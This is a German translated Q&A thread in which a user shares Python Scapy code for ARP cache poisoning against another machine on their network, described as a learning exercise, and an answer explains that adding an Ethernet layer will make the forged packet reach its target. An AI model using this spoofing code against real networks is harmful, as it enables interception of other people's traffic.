2016-08-30 1 views
0

Ich versuche, eine einfache ARP-Cache-Poisoning auf meiner anderen Maschine zu Lernzwecken mit der Python3-Version von Scapy zu tun. Der Code, den ich verwende, ist die folgende:Arp Paket gesendet mit Python 3 Scapy erreicht das Ziel nicht

from scapy.all import * 

arp = ARP() 
arp.op = 2 
arp.psrc = '192.168.0.15' #computer I want to impersonate 
arp.pdst = '192.168.0.5' #computer I want to send arp packet too 
arp.hwsrc = 'ac:bc:32:c6:49:20' #my mac 
arp.hwdst = 'ac:bc:32:c6:12:90' #mac of computer I want to poison 

sendp(arp,iface = 'en0') 

ich die folgende Ausgabe, wenn ich dieses Programm ausführen:

WARNING: Could not load module netifaces: No module named 'netifaces' 
. 
Sent 1 packets. 

ich dieses Programm nicht mit sudo lief, und ich bin sicher en0 ist die korrekte Schnittstelle. Wenn ich jedoch tshark auf dem Computer mit ip = 192.168.0.5 ausführen, wird das von mir gesendete ARP-Paket nicht angezeigt. Könnte mir bitte jemand sagen, welcher Fehler ich gemacht habe, der dazu geführt hat, dass das Paket den Zielrechner nicht erreicht hat.

Antwort

0

Ich denke, Sie müssen auch die Ether-Schicht definieren. Könnten Sie versuchen, arp = ARP() zu arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP() zu ändern? Das Setzen von dst auf: ff: ff: ff: ff: ff bedeutet Broadcast, dh es wird an alle Hosts gesendet.

Verwandte Themen